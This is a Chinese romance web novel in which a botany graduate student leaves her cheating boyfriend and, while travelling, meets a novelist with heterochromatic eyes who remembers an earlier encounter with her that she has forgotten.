《林深未晚》
1. 我的男友出柜了?
“小晚,我好像看到你男朋友了。”
“哦,咋了。”穿着白大褂,在实验室里压标本压到麻木的覃晚,气若游丝的接通电话。
对面支支吾吾许久,才缓缓开口:“呃,他好像在和一个人接吻,男的。”
覃晚顿了一秒,像是听到了什么冷笑话似的,无奈道:“师姐,别逗了。”
对面没有解释,只是传了一张照片过来。她点开一看,照片里的人可不就是自己谈了两年的男朋友周毅吗。
身上穿的那件灰色T恤还是上周她去逛街买的。
此时,他居然在大街上明目张胆的和别人啃来啃去,还是男的。
难怪一直说什么希望第一次留到婚后,还以为是什么纯情小狗。没想到居然是个同志!
合着自己是被骗当同妻了?
想到以前和那男的接吻,真是恶心啊!一阵反胃,忙放下手中的剪刀,蹲在垃圾桶旁边干呕了许久,才稍微缓过劲来。
覃晚克制住自己的情绪,拿起桌面的手机,冷静道:“师姐,帮我个忙好吗?”
“好啊!帮你上去揍他一顿吗?包打到服气的。”
平时师姐便正义感爆棚又从小学散打,战斗力自是不干小觑。
“哎哎哎,别别别。师姐,你冷静,冷静!”知道她的超强行动力,覃晚赶紧制止。
渣男什么时候不能揍,这个时间可太不能打草惊蛇了。
“帮我拍几张照,越清晰越好!”
握着手机的李氧,都已经撸起袖子向那两个狗男女,不对,狗男男!气势汹汹的走过去,又被覃晚的话拉住。
“好好好。”
压了压头顶的红色鸭舌帽,躲到一边偷感十足。找了个合适机位拍了十几张传了过去。
覃晚看到对面源源不断传来的照片,点开看着渣男正搂着男小三亲的难舍难分。一时间都气笑了。
她把那些照片一一保存留档。然后戳开渣男的微信,随便甩张照片过去便说了分手,发完后,便把他所有联系方式都拉黑了。
做完这些,覃晚关了手机。一口气把实验室近几天所有需要压的标本全弄完了,气得她干劲十足。
临近下班时间,也没走,在实验室待到半夜,谁知道情场被骗就算了,实验还失败了三四次!
第五次,又失败了!
“气死了!渣男霉运别吻上来啊!”
深更半夜实验室除她以外空无一人,覃晚顶着个抓乱的摊到在椅子上,累到没有力气发出尖锐爆鸣...
她摘下口罩,因为长时间佩戴,脸颊上已经有轻微压痕。划卡手机发现好几个陌生来电,她没管。
点开某书,主页最上面一条便是她之前追的一本很火网文小说作者开新文的通知。
闲的无聊,她便去找了来看。
新书开文,连更三章。覃晚一口气全看完了,意犹未尽!
她戳开评论区,哐哐哐敲下几个字:“仙品!实在是仙品!”思考几秒,又继续补上:“不过书里提到的香樟树树干上的气孔,应该是皮孔才对,二者在...”
刚发没多久,就有一大群人回复她的评论。
【楼主专业啊!】
【+1太细节了...】
【哈哈哈,深林大大踢到专业硬茬了...】
......
大佬新书开文,流量高。没一会她的评论就盖了几百层,她随意翻看了一会儿评论区。
谁知突然收到房东的电话。她有些疑惑,大半夜的怎么大电话。
不会...要是什么狗血剧情,临时卖房要退租吧。千万别,她可不想睡实验室啊。
她胆颤着点了接通,对面传来房东阿姨有些疲惫又着急的声音。
“阿妹哇,你快...”话还没说完,房东手里的电话就被夺了去。
“晚晚!”是周毅那个渣男。估计是看到分手短信找上家门去了!
覃晚没理她,直接挂断了电话然后拨通了110。
“你好,警察叔叔!有变态骚扰我,找到我家去了,我害怕...”覃晚故作委屈,假意哭哭啼啼了几声。
对面听到后,询问完地址便说马上出警。
覃晚也没回家,现在光是听到那渣男的声音就想吐了。要见面了,不得三天吃不下饭!反正一切交给警察叔叔,她放心的很。
大约一小时后,覃晚接到了派出所的电话。
那边叫她过去做个笔录,覃晚把实验器材归整好,脱下实验服,背上包便去了。
大半夜的不好打车,等她到派出所的时候,已经是一个半小时之后了。
简单陈述完事件经过,覃晚便离开。
没想到刚到家没多久,那男的就又死缠烂打的找上门来了。
覃晚本想关门,谁知被他用脚抵住关不上。
“你听我解释,晚晚!”周毅从门缝里伸进手,想要拉住她,却被覃晚一把甩开。
“滚,别来沾边。小心我再报警,告你私闯民宅,到时候可就不是思想教育那么简单了。”
覃晚使劲踢了踢门缝里恰着的那只脚,却丝毫不动。
她气得不行,狠狠踩了两脚之后,松开门双手抱胸瞪着他。
周毅见对方似乎态度缓和,吞吞吐吐的开始解释:“晚晚,真不是你照片里看到的那样。”
听到这话,覃晚翻了个白眼,阴阳怪气道:“哦,那是怎样。难道是你妈给你生了个双胞胎弟弟,流落在外,照片里是他。”
本来支支吾吾说不太出话的周毅眼睛一亮,忙接着她的话茬编:“对对对,晚晚,你真聪明。就是这样...那真不是我。”
听到他这顺驴下坡蠢样,覃晚简直伤脑筋,头疼的扶额,搞不清楚自己怎么做到和这种蠢货谈了两年恋爱。果然,爱情使人盲目。
覃晚朝他摆摆手,无奈道:“回家吧,回家吧。周毅,去找你妈,别来找我了。”
“晚晚,别啊!别和我分手。”周毅非但没走,还闯进门来,一个滑跪扑倒在覃晚脚边。
这操作直接把覃晚吓了一跳,向后一退。
“我妈知道这事,会气死的。”
周毅挤出几滴鳄鱼的眼泪,想要装可怜求原谅。
虽然平时这招对吃软不吃硬的覃晚好使,但是在原则性问题上,没有人可以动摇的了她。
覃晚冷哼一声,戳穿他:“周毅,别装了。骗了我两年还演呢!你怎么没进娱乐圈爆火呢?之前算我眼瞎,就此别过好吧。”
见挽回不了,周毅也索性不装了。
站起来破防大骂:“你看看你那样,邋里邋遢。一天到晚弄你那破实验,电话永远打不通,别人女朋友哪里会像你那样。
要不是我妈喜欢,我早甩了你。分手是吧,你到时候出去看看,离开我还有谁能受得了了。”
说完便砰的一声甩门离开。
覃晚被骂一时间愣在原地,她爸妈都是大学教授,性格温和。
自己从小随不算什么乖乖仔,但学生时代也还算听话。一路品学兼优,听到
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的多数是夸奖。如今第一次遭人谩骂,属实有点震撼到了。
她行尸走肉般走到冰箱前,拉开门,昏黄的壁灯下,里面只要几瓶过期的酱料和碳酸饮料。
覃晚倚靠在冰箱门边,感受着冷气从发丝吹入大脑。她随手从里面抽出一瓶可乐。
呲啦一声。
猛灌一口,冰冷的感觉从口腔直达肺腑,感觉向胃里丢了几颗冰块。
她逐渐冷静下来,回想起周毅说的那番话。她自然不可能把出轨又出柜的渣男的谩骂当真,但听到他说是因为他妈才和自己在一起。
再想到那张接吻的照片,胃里像吐了几只苍蝇一样难受。
糟心事一大堆,已经凌晨五点。想到再过几个小时又要去实验室,覃晚脑仁都疼。
“想请假,啊啊啊!”厌班情绪在此刻达到顶峰,说干就干。
她点开导师微信,删删减减最后还是打下:老师,我最近状态不太好,想休息两天整理一下。
凌晨,全世界都在睡觉。
她没有收到回复,关上冰箱门。把手机往沙发上一抛,踩着拖鞋踢踢踏踏的进了浴室。
洗完澡后,她瘫倒在沙发上。清醒无比,翻来覆去刷手机烦的不行,放在脸上发呆。
窗外天光微亮。
“叮咚!”她举起手机点开,一条某绿色软件的消息提醒。
【收到,已修。感谢指点。】
是她那条书评,一向高冷,从不回复粉丝的深林大神居然回复了她的评论了,今天是中什么大奖了!
导师那边还没回复。
“不管了。”
覃晚点开购票软件,随手买了一张两个小时后去厦城的高铁票。
--
【女士们先生们,列车前方到站海城站,请下车的乘客带好行李物品准备下车。】
坐在靠窗位置上睡得糊里糊涂的覃晚摘下眼罩,揉了揉眼睛。
困到不行。她拼尽全力强撑着去到酒店,拉上窗帘便躺在床上睡到昏天黑地。
一觉睡到自然醒,严实的窗帘将阳光完全遮住,室内漆黑一片。
覃晚闭着眼强制开机,捞过放在枕边的手机。
已经下午两点,导师在早上八点同意了她的假条。
在床上赖了半小时后,覃晚起床成功,又磨磨蹭蹭收拾了一会,等到出门的时候恰好四点。
洗漱时覃晚想起,之前听师兄提起,厦城植物园的观光缆车很适合看日落。于是她也没做攻略,说走便走。
酒店离植物园不远,所以覃晚也没打算打车。
正好边上停了几辆某团的小黄车。便扫了辆最干净的骑车出发了。
大约骑了十分钟,便到了植物园南门。一进门就是一大片草坪,零零散散种了十来棵云杉树。好多人在草坪上铺着个野餐垫就躺下了。
“还得是海城人松弛。”覃晚也忍不住伸了个懒腰,“还是外面舒服啊,整天待在实验室捣鼓那些标本,人都快成标本了。”
本想着时间还早,她一路走走停停,随手拍照记录。
可没想到时间歘的一下过那么快,不知不觉,临近日落时分。
等她意识到得去排队坐缆车的时候,已经是快等她意识到打开手机一看时,离今天的日落时间已经不足半小时了。
覃晚关掉相机,往园区口走了几步找到指示牌,准备去乘坐缆车。
一路上遇见不少游客往那边走。
等下估计排队的人会很多,这缆车计划,估计悬了。
2. 未名的心跳
“不好意思,女士。这趟缆车已经满员了,您需要乘坐下一躺。”检票员礼貌微笑。
“啊,坐满了啊。那下一趟大概是什么时候呢?”一路快步,还是没赶上,覃晚语气略带遗憾。
“我们的观光缆车是每半小时一趟。”
她看了看手上的运动腕表,计算时间,等下一趟,估摸连太阳影子都见不到了。
于是她果断放弃了缆车计划。寻思去找一个开阔点的高地,估计也能看到不错的日落。
覃晚打开地图,查找这附近的高地,发现在刚刚经过的多肉植物区边上便有一块高地。于是匆匆向那边走去。
上去的路比较陡,所幸这时候临近闭园时间,游客人数不多,不会拥挤。
快到顶部那段路尤其陡,覃晚一边要护着脖子上的相机一边又要向上爬,格外困难。快到顶了,还差最后两步。
隐约可见头顶风光,像一片橘子海,格外灿烂。
覃晚看着头顶风光,一时走神,脚没踩稳,重心极速下跌,身体向下滑去。
“完了,我覃小晚不会今日就要命丧当场了吧。”
“我还不想死啊,老天奶。虽然我天天做实验叫嚷着不如死了算了,但我开玩笑啊。呜呜呜呜...”
她发出惊恐的尖叫,手忙脚乱的想要抓住些什么。
突然,一阵子细碎的脚步声传来,越来越近,随后一个清朗的男人声音从上方传来。
“别乱动,抓牢了!”
不知道她在心里默念谁名字祈求保佑的时候,她的手已经被人稳稳拉住。
听到这个声音,覃晚从恐慌中清醒过来。
抬头一看,那只白皙的手的主人是一个穿着件藏青色卫衣的男人。
他脸庞轮廓分明,鼻梁高挺,皮肤白皙,握住她的那只骨节分明手因为用力而青筋绷起,蕴含着蓬勃的力量。
不过其他的美则美矣,这人身上最特别的是他的眼睛和周身的气质。
是少见的异瞳,左眼像澄澈的蓝色的湖水,右眼则是很纯净的黑曜石的颜色。浑身散发出一种忧郁、散漫的文艺气质。
如此特别,让人一不小心便停住了目光,
可怎么总觉得,好眼熟。
“抓住我的手,我拉你上来。”男人一只手握着覃晚的手腕,另一只拉住山顶观景台的巨石。
覃晚晃过神来,“啊?嗷嗷嗷,好的。”另一只空余的手也拉住男人的手,借力蹬住那块仅容得下三分之一脚的台阶,一步步爬了上去。
在他的帮助下,覃晚不仅成功保住小命一条,还顺利登顶。
“真是太感谢你了,不然我就命丧当场了。”她朝面前的男人伸出手,“你好,我是覃晚”
听到这句话,林深沉默了许久才回应:“你好,我是林深。”他伸手回握,但迟迟未松。
覃晚看着他那双眼睛。也一时愣了神,总觉得有些许眼熟但又不知从何说起。
被盯着许久,对面的男人见覃晚依旧一言不发而只是看着他,便拿开了手,转身离开。
而此刻的覃晚也像是回过神来,脱口而出:“诶,我是不是...”她看着转过身观景台走去的男人问到。
男人似乎有些惊喜,听到声音立马转过头来,有些期待的看着覃晚,但覃晚却没读到他眼底的期待,反而停下了话头。
心想还是算了,万一人家以为搭讪咋办。还用这么老土的方式,尬死了。
于是她抬起头朝对方摆摆手解释:“没事,我有点小病,就喜欢自言自语。不好意思啊,你多担待。”
林深听到这话,神色暗了下去,转身朝这观景台的一角走去。
气氛有些尴尬。
覃晚刚讲完话后便尬得脚趾扣地,一边朝观景台那走去一边手拍了拍自己的嘴。
后悔的腹诽道:“老铁,你配合点好吗?别随时随地玩抽象。”
她在离男人不远处坐下,两人没有再说话,只是一同欣赏这落日。可专注于看日落的覃晚没有注意到,一道视线正悄悄注视着她。
眼神复杂,不知从何说起。
晚霞虽灿烂,但转瞬即逝。随着傍晚的最后一抹余晖谢去,气温下降。
初秋山林里的山风吹过,冻的覃晚打了个哆嗦。
她拢了拢身上穿的那件白色薄外套,从兜里掏出手机,点开一看,已经17:48,马上要到闭园时间了。
“林深。”
覃晚扭头看向他,刚刚听他介绍自己名字的时候,便不禁联想到了李白的那句“林深时见鹿”。
这名字也确实很称他。
像清晨迷雾里,森林深处才能见到的小鹿,美丽又神秘。
一旁坐着的林深表面上在看晚霞,其实一直有分神注意着边上的女生。
刚刚她起身弄出的动静也被他分毫不差的听到。
那道那在梦里听到过很多次的声音,此刻正喊他名字。
不知怎的心里洋溢起一种别样的感觉,像是一股电流穿过身体,整个人都变得苏苏麻麻的。
林深就这么抬起眼睫,双眼直勾勾的望向她,眼眸中映照出面前人的面容。
覃晚有些不自在,耳尖微红,她摸了摸头发撇开视线,强装淡定。
“要走吗,晚霞看完了,植物园也要闭园了,一起?”
虽然莫名奇妙邀请陌生人一起同行可能显得有些奇怪,但覃晚一想到想到刚刚差点在这里丢掉小命,这点东西就根本不算事。
况且现在天几乎是黑了,一个人下山实在是危险,两个人一起作伴就好多了。
覃晚见林深一直看着自己,一言不发,不知道在想些什么。
她在心里诽腹:完蛋,是不是太冒昧。她又有点后悔了。
正当她准备说些什么挽救一下时,面前的男人却站了起来。
“我走前面,你跟着我。”
林深往下压了压头顶的鸭舌帽,试图遮住自己的视线,强制让自己不再盯着对方。
“啊?奥,奥,好的”
覃晚一下子没反应过来,见他答应了连忙跟上。
靠近边缘处,看着那黑漆漆的一片,又加上刚刚在这的遭遇,本来不恐高的她,心也凉了半截。
这可怎么下去,一下踩空真得一命呜呼。
“你举着手机照明,我先下去。”站在面前的男人突然转身低下头来对她说到。
覃晚本来就站在他身后,靠得很近,没想到他会突然转身。
男人个子很高,目测一米八以上,一米六五的覃晚此时也堪堪到他肩膀。
这个距离,她几乎可以闻到他身上衣服散发出的洗衣液的香味,是白玉兰。
夜色阻挡了视线,其他感官变得强烈,心不自觉的乱了阵脚。
“砰,砰,砰......”<
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谁的心跳声?
时间在此刻仿佛静止,人却依旧能感受到那些不知所措的情绪。
不知道过了多久,覃晚才找回了自己的声音。
“好,好,我给你开灯。”
像是为了掩饰刚刚的心跳声,她急忙拿起手机解锁,可越忙越乱。密码输了好几次都错了,足足花了一分多钟才打开这手电筒。
看着面前紧张的略微有些手忙脚乱的女生,林深不自觉的轻笑了一声,有点可爱。
“好了好了。”覃晚用手电照亮了下山的路,“你下去吧,注意安全,我在后面给你开着灯。”
林深一脚踩着一块石阶,一手扶住身边的石壁,往下走了几阶后看高度合适,轻轻一跃便平稳落地。
站稳后,林深拍了拍手上沾的灰,拿出兜里的手机然后打开手电筒,照亮了覃晚脚下那块地,抬头看向她。
“下来。”
覃晚看着那陡峭的不规则的阶梯,旁边还没有任何扶手,只有山体巨石,面露难色。
一时间心生害怕,尤其是刚刚还差点在这丢了小命。犹犹豫豫,不敢迈出一步。
许是察觉到了她的害怕,林深放柔的嗓音,安慰道“没事,很安全,就算摔了我也会在下面接住你。下来吧,好吗?”
他伸出手,似乎是为了向她证明会将她稳稳的接住。
看到他的怀抱,覃晚心中的紧张少了几分。
或许是因为刚刚被他所救,因此产生了一种莫名的信任感。
可即便如此,恐惧仍未褪去,天色渐晚,再犹豫下去两个人估摸着要待在这植物园过夜了。
终于,她迈出了第一步。小心翼翼的俯低身子,扶住刚刚边上巨石。
“慢慢走,不急”林深举着手电,光线紧跟着她的脚步。
走过前几步最陡的,后面的也就轻松起来了。走到最后一步,覃晚轻轻一跳便到了他面前。
“牛不牛,我根本一点都不怕。”覃晚一脸骄傲的抬头看着他。
看着面前额头上还冒冷汗的女生,林深不禁被她逗笑。
从口袋里拿出包便携式纸巾递给她“好,你一点也不怕,超级勇敢。”
她接过纸,被夸的有些不好意思,眼睛有些不自然的瞄向别处,狡辩道:“诶呀,这天还是有点热,你说是吧。”
“嗯,确实有点。走吧”林深没戳破她,毕竟她确实出乎他的意料。本以为要在上面站着不下来,没想到这才几分钟,居然就做
好心理建设了,果然是她。
“我走前面,你跟着我。”林深打着手电,照亮了下山的阶梯。
“嗷嗷,好的”覃晚点点头,紧跟着他的步伐。
一路上两人又开始了沉默,覃晚虽然是E但不自来熟,面对陌生人也会有些局促,不知如何开启话题。
而前面的显然也不是个话多的人。
直到两人走出植物园,一同在门口等着网约车。
覃晚的司机率先赶到。
“我走了,再见。今天真的很感谢你,祝你开心,愉快。”覃晚坐上网约车,按下车窗,朝窗外的男人挥了挥手。
“嗯,你也是,再见”林深点头示意,朝她挥了挥手。
没过多久,车辆汇入主干道,消失在这片灯光闪烁的车水马龙之中。
晚风吹过发梢,又顷刻消散,那未名的心跳依旧明灭可见。
3. 美丽异木棉
覃晚回到酒店后便迫不及待的给闺蜜祁绮拨了个电话。
不出三秒,对面接通。
一到酒店覃晚就迫不及待的给闺蜜祁绮拨了个电话。
不出三秒,对面接通。
“小妞,想姐姐了?”对面语调轻佻。
“是是是,想你了。”覃晚笑着应和,把手机放下,拿出包里的相机开始捣鼓。
听到满意的答案,祁绮笑得荡漾,“情绪挺高啊,看来是好了啊,怎么,有艳遇。”
要不说祁绮是她肚子里的蛔虫,覃晚在别人面前尚可装装高冷矜持,一到她面前完全原形暴露。
索性摆烂摊牌,覃晚一边同对面的祁绮描述傍晚发生的事情,一边开始导照片。
对面本来兴致勃勃听她讲,谁知道越听面色越凝重。
听到覃晚越讲越兴奋,她忍不住打断:“停!又是异瞳。覃小晚,你是吃一堑降一智吗!当初就因为雨林里亲了个异瞳男,你才上了周毅那渣男的当,现在你又...”
“他不是那种人!”说完这句,想找些证据为他证明却又支支吾吾的无话可说,毕竟也才见了一次面。
“你又知道了!”祁绮有些恨铁不成钢,自己这个闺蜜哪里都好,就是颜狗眼神又不太好,八旬老太找对象眼神都比她好。
本着势必点醒她的目的,祁绮一改玩笑的模样,语气有些严肃:“我警告你,覃小晚。别上头,别上头,别上头。”
“都是假象,你要记不清雨林那个异瞳男长啥样了,你就赶紧忘了这回事!”
本来有些头脑发热的覃晚被祁绮的话点醒,心情低落至谷底,或许真是她执念太深,他们都不是他。
对面久久不出声,意识自己语气过重,祁绮吸了一口气缓和下来,试探到:“你没事吧。”
覃晚沉默许久,最后蹦出句:“不吃溜溜梅。”
逗得祁绮扶额苦笑,话已至此,多说无益。
两人闲聊没多久,祁绮就跑去拍夜戏了,当导演天天不分日夜的,累个半死。
挂断电话后,覃晚没理那些照片,进浴室洗了个澡。
在浴室循环播放着Anton的nuitsd''été,不知不觉竟洗了一个多小时。
洗完澡后覃晚从箱子拿出化妆包,简单的日常护理后,贴个面膜便走了出来。
刚好这时候餐也送了上来,覃晚给面膜定了个闹钟,一边吃送上来的沙茶面,一边把相机里今天拍的照片导出。
大部分是拍的植物,偶尔夹杂了几张风景照和自拍。
“凤凰木、蓝楹花、小叶榄仁、美丽异木棉......诶!”翻看着照片,突然在那棵美丽异木棉下看到一个熟悉的身影。
这段时间正巧是美丽异木棉花期,厦城植物园这棵异木棉生长的又尤为高大。花盛开时几乎没有看不到叶子,放眼望去便是一片粉色的花海。
饶是见过成千上万种植物,又因为主要是研究濒危植物,所以奇珍异草也见了不少。
但是覃晚依旧为这棵生长在如此炎热环境下的美丽异木棉而感到惊喜。
拍了几张照片后,没忍住求助了边上的一位游客,拜托她帮忙给自己和异木棉拍一张合影。
没想到,还有他。
“林深”覃晚在心里默念着这个名字。
照片里她正对着镜头比耶傻笑,而在稍远处的异木棉树下,带着鸭舌帽,身姿挺拔林深,恰好也看向了镜头。
初秋的阳光已逐渐温柔,他那双美丽的异瞳好似一道旋涡,生生将人吸引。
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另一边林深在覃晚走后便收到了邱怡萱的消息。
邱怡萱催他快些前去饭店集合,本来他也懒得搭理那活祖宗,想着直接回酒店算了。
可刚上车他姐就打来电话,询问她那宝贝女儿的状况。
一听到林深没和她在一块,瞬间便急了。唠唠叨叨的说个没停,林深实在忍受不了,只能连声应好才稳住他姐。
他挂断电话,捏了捏眉心朝司机无奈道:“师傅,换个位置。去崇楼饭店。”
司机在路口拐弯处掉了个头,一边提醒到:“好嘞,麻烦您在小程序上切换下目的地。”
“嗯。好了。”
林深在APP内更换好位置后便靠在座椅上闭目养神。
晚高峰路堵的厉害,15分钟的行程硬生生的开了半小时才到。
林深推开饭店门就看到他们,吵吵嚷嚷的一大桌,看到就头疼不已。
还没走过去就已经开始后悔,想要打道回府了。
谁知道周嘉煜那平时眼聋耳瞎总是被女人骗的家伙,这时候到是耳清目明了,他还未曾走进便被他发现。
他朝林深摆了摆手,喊了一嗓子:“这里,阿深。”
一时间所有人都看向他。
林深无语,压了压头上的鸭舌帽。
信步走了上去,在周嘉煜边上的一个位置上坐下。
一边拿着一排AD钙奶正喝的欢的邱怡萱看到林深满脸震惊,“舅舅...你不是说....说不来了吗?怎么...”
还不是因为你这个麻烦精。
但当着那么多人,而且大多还是邱怡萱的同学面前,林深没有把心里话说出来,而是冷淡的敷衍了一句:“饿了。”
本来专心喝牛奶的邱怡萱偷瞄了眼自家舅舅。以她多年的经验来看,现在她舅很不耐烦,所以她也不敢多问。
幸好这时候菜也陆陆续续的上了,邱怡萱放下牛奶。开始专心干饭。
一桌子的大学生别的什么好本事不敢说,干饭能力确实是不容置喙的。
菜没上来多久,便如风卷残云般吃的七七八八,后面不够吃又加了好几道。
林深心里有事所以没什么胃口,动了两下筷子便放下。
随便找了个借口说:“室内太闷,出去透透气。”之后便离席留他们一桌子人继续在这吃着。
走到服务台,他拿出手机结完账后便出了餐厅。
“终于走了,这冷脸魔王。”邱怡萱长舒了一口气,拿起碗里的鸡腿便开始啃。
桌上她的其他好友见到林深走了,虽然没说什么,但也显而易见的放松了起来。
刚刚林深一坐下,那气场直接将除周嘉煜外的一桌人震住了。
本来朋友聚会的欢乐聊天局瞬间变成严厉老师上课抽查的紧张场面。
一个个的只敢埋头苦吃,周嘉煜也感受到自己好兄弟今天气压不太对。
但这会儿人多也不好多问,只能等吃完饭回去之后再找他聊聊。
虽然以他那闷骚的性子,估计多问也问不出什么来。
林深一个人走到外面,恰巧饭店正对着一条河,河边修了条散步用的步行道。
他走到那去随便找了个清净没人的地方待着,秋天的晚风已经有了几分凉
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意在里面,吹着那河岸边的行道树沙沙作响。
林深点开手机,手机布局很简单,没有很多乱七八糟的APP。
不过桌面壁纸却不是系统自带的,而是一张山荷叶的照片。
那照片无论从构图还是光影来看,都不算的完美,也没有什么艺术感。
打开手机后很久他也没点开什么APP,只是盯着那屏幕看了很久。直到接到周嘉煜的来电。
“阿深,你在哪。我们准备回去了。”
林深说了句:“好,马上回。”便挂断了电话。
两分钟后林深在大门口见到那群人,还有五十米左右,林深就听到邱怡萱那大嗓门在那对着个手机哇哇大叫。
周嘉煜看到林深的身影,忙咳嗽几声提醒,可那丫头根本注意。
直到林深走近才感受到那道冷冽和极具压迫感的视线。
这时才从手机里抬起头,看着他悻悻地喊了声:“舅舅。”
那手机的主人邹静听到声音慌乱地按下键息屏,看着林深大气不敢出。
林深没管他们在看些什么,都已经是18岁的人,看什么也不足为奇。
只要保证这几个家伙的人身安全就能向林慧女士交差了,其余的他也无心思多管。
“回酒店。”林深点开手机打车软件,准备叫车。
邱怡萱和她的室友邹静不知道在旁边嘀嘀咕咕些什么,后来邹静一把将她推到林深面前。
在林深面前支支吾吾不知道在说些什么。
林深此时正心烦意乱,没空搭理她,于是冷声道:“说人话。”
邱怡萱见到自家舅舅这幅模样,更不敢去触了他的霉头,只好打消了去酒吧玩的念头。
众人见此,也只能叹气。
好不容易回到酒店,一行人在前台取了房卡后,便等电梯准备上楼去。
一路上,林深一直心不在焉的一言不发,到楼层后就拿着房卡开门进了房间。
周嘉煜本想跟进去问问他究竟是怎么一回事,谁曾想这人走的这么快。
刚走出电梯时被邱怡萱拉住,和她打闹了两下的时间,林深便走远了。
后来追上去,走到房门前敲门也无人回应。
他只能作罢,寻思着还是先让他一个人冷静冷静,便和跟着邱怡萱他们一起去玩狼人杀了。
林深洗漱完躺在床上,回想起今天下午的事情,心里乱糟糟的。
胳膊搭在脑后望着天花板,在床上辗转反侧十几分钟也睡不着。
索性也不睡了,他起身从沙发上拾起灰色毛衣外套套在身上。
走到落地窗前,拉开了窗帘,看着海城的夜景。
城市的灯光隔离了海岸线,几座明灭可见的灯塔星星点点的缀落在漆黑的海面之上。
可看到这片繁华的海城夜色,却让他想起三年前那个山间的雨夜。
没有阑珊的灯火和不息的人海车流,只有帐篷外依稀可见的雨声和身旁的清浅的呼吸声。
林深再度拿起放在床头手机,看着那张壁纸出了神。
回想起今天和覃晚的见面,看对方那状态,显然是一点也不记得他了。
林深有些遗憾又无奈,眼神温柔的看向手机里的照片。
低声嘲了句:“说好会一直记得我,亲了人就跑了。小流氓”
虽字字责怪但却又毫无责备的意味,反倒让人感到几分温柔。
4. 山荷叶
三年前夏天,林深还在创作他那本《丛中漫步》时,写到了一株珍稀植物。
他翻阅了许多资料,也在网上看了许多图片,可始终无法找不到感觉。
他从高中开始写小说,第一本小说《胡错之死》便一炮而红,后连续的产出多部爆款,因此也一度在网上被称为“天才悬疑作者”。
可一年前,他逐渐感觉到心力不足。
恰好那年正逢大学毕业,他停笔一年。准备毕业事宜,6月过后,他开始四处旅行。
每到一处便旅居一两个月。尽管关掉手机,试图远离外界干扰。
可每隔一段时间还是会收到编辑的催文。起初是邮件,见他不回复,后来索性开始寄信。
最后实在抵不住编辑的夺命连环call,小编辑欲哭无泪,写信称再不开文就要飞过来蹲他。
11月,他从西藏回来,开始写《丛中漫步》。
虽然休息了快一年,精神是好了许多,但依旧找不到从前那个感觉,只能每天靠着笔力断断续续的写那么几千字。
那个始终描述不出来的成了山荷叶压倒骆驼的最后一根稻草。
他又卡文了。
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连续失联三天,周嘉煜在他家找到他的时候。房子里的窗帘全都拉的严严实实,整个屋子黑黢黢的一片。
“阿深?阿深?你还活着吗?”周嘉煜举着手机的手电,按开了室内的壁灯。
卧室门大咧咧的开着,但里面却空无一人。
屋内的床铺整整齐齐,像是许久没人动过的样子。
周嘉煜从卧室里出来,转身去敲那间紧闭着的书房门。
“阿深!开门!我知道你在里面。”周嘉煜在门口不停敲门,五分钟过去,却没有丝毫动静。
见对面没有动静,周嘉煜不得不提前使出杀手锏,他假意拨通梁女士的电话。
“喂,梁阿姨。我是小煜...对,我找到林深了,在家不给我开门呢...什么,您要从江城过来是吧?好好,我来接您。”
这时,一直敲不开的书房门突然从里打开了。
林深穿着灰色家居服,戴着他那副黑框眼镜走出来。头发乱糟糟的,眼底的乌青一片,看起来像是几辈子没睡觉了。
他拿过周嘉煜手里的手机,一看却发现竟未开锁。
他一把将手机丢回周嘉煜怀里。
声音有些哑,吐槽道:“你幼不幼稚,这么多年了还是这一套。”
转身又回了那间昏暗的房间,书房里也是漆黑一片。
书房的三面都建了一整墙的内嵌式书架。书架上摆满了各种各样的作品,活像个小型的私人图书馆。部分书籍放的较高,所以在书架旁还摆着一架取书梯。
除此外,还摆着一张沙发和书桌,边上靠着两盏落地灯,灯光是温柔的明黄色。
周嘉煜将手机揣进兜里,跟着男人的步伐走进书房,语调轻浮散漫:“管他幼不幼稚,有用就行。”
他按开书房的灯,骤然明亮,地面上到处是废弃的纸团,垃圾桶里除了撕开的咖啡包装袋就是废纸。
坐在书桌前的男人端着杯咖啡,带着眼睛盯着面前的屏幕一动不动。
“我说阿深,几天没刮胡子了。你看看你这幅样子。真该拍下来给你粉丝看看。”周嘉煜一边吐槽一边捡起地面上的废纸团。
“今天早上周女士给我打电话,说你失联好几天,微信微信不回,电话电话关机。”
周嘉煜展开一个纸团,“你这是怎么回事。前段时间不是说开新文了吗?”
书桌前的男人并未回答,神色淡然,在椅子上坐下带起耳机,端起面前的咖啡又抿了一口。
周嘉煜把手上的纸团抛进垃圾桶,走上前去。
他一把将林深的耳机拽下,“又看你这猫和老鼠。”后者转过头,神色冷漠。
看着林深仿佛要杀人灭口的眼神,周嘉煜立马忍怂了,讨好道“我不是故意,您大人有大量。来,我给您戴上。”
“滚。”林深将肩上的手拍开。
“好嘞,小的我这就麻溜的。”周嘉煜向后撤了一步,做了个离开的假动作,一屁股坐在了后面的沙发上。
他随手拿起了旁边架子上的书翻了翻。
“《植物学图鉴》,阿深,你什么时候开始研究这个了。”
“写书素材。”林深从椅子上起来,端着空了的咖啡杯离开书房。
周嘉煜随手翻了翻手上的书,发现书签夹着的那页有个特别标注。
“山荷叶?”他小声嘀咕,有点眼熟啊,感觉总在哪里见过这玩意?但具体是哪又说不上来。
说着从口袋里掏出手机,点进微信和邱怡萱的微信。
聊天记录里她给她转了十几条各种社交媒体的转发。往上划了好长一段,才找到那条微博转发。
点进链接,跳转到一条名为“一棵晚晚草”的科普大V发的一条植物科普。图片上的植物和书上的那个图格外相似。
“诶,阿深,你这写的山荷叶是不是也叫什么马蹄芹啊?”周嘉煜朝着外面的男人大喊道。
男人端着冲好的咖啡,迈着随意的步伐缓缓走进书房。轻抿了一口。
“是,你怎么知道。”
林深又坐下了,点开了电脑桌面的暂停键,继续播放猫和老鼠。
周嘉煜将手机递给面前的林深,“你自己看。”,看着端着咖啡的男人,小声吐槽了句“好家伙,也不给我来一杯。”
说着便出去自己自给自足。
留林深一个人在书房里看那条山荷叶的科普微博。
周嘉煜走到厨房的岛台,洗干净杯子正准备冲咖啡,可怎么也翻找不到咖啡。
正打算走进去问问书房里那家伙时,就见他从走了出来,匆匆进了隔壁的卧室。
周嘉煜一头雾水,跟了上去。
却在门口看见林深正把衣服从衣柜里拿出来,然后一股脑丢在床上。又从侧边拉出行李箱。
他一脸懵,拉住林深的胳膊。
“不是,你干嘛。收拾东西准备去哪?”
林深没有停下手上动作,只是简单回了句:“去山城,你别在这挡路。”
“你跑那么远去山城干嘛,又旅游?”听到林深的回答,周嘉煜反倒不着急了。
这人前段时间也是到处旅游散心,他以为这次也和先前一样,于是拉着个凳子在一旁翘了个二郎腿坐下。
林深扭头瞥了一眼周嘉煜,抛了个手机过去。
“080913,帮我买张最早去山城的机票。”说完后便进了浴室。
